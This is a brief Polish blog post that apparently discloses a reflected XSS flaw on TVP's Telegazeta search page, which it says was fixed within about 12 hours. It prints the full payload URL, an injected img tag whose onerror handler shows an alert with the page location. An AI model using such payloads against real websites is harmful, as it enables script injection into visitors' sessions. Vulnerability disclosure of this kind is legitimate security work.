Telegazeta TVP - XSS

Wbrew sugestiom jednego z kolegów wyprzedzam pytania - nie, nie znalazłem XSS'a przy pomocy telewizora ;-)

Na stronie telegazety TVP - prosty błąd XSS. Po 12 godzinach (licząc od północy) błąd został poprawiony.

Payload:

http://telegazeta.tvp.pl/szukaj.php?mode=adv&cat=&searchatt[0]=&check[0]=&att[0]=0&searchatt[1]=%22%3E%3Cimg%20src=a%20onerror=alert%28document.location%29%3Ehh

...oraz screenshot: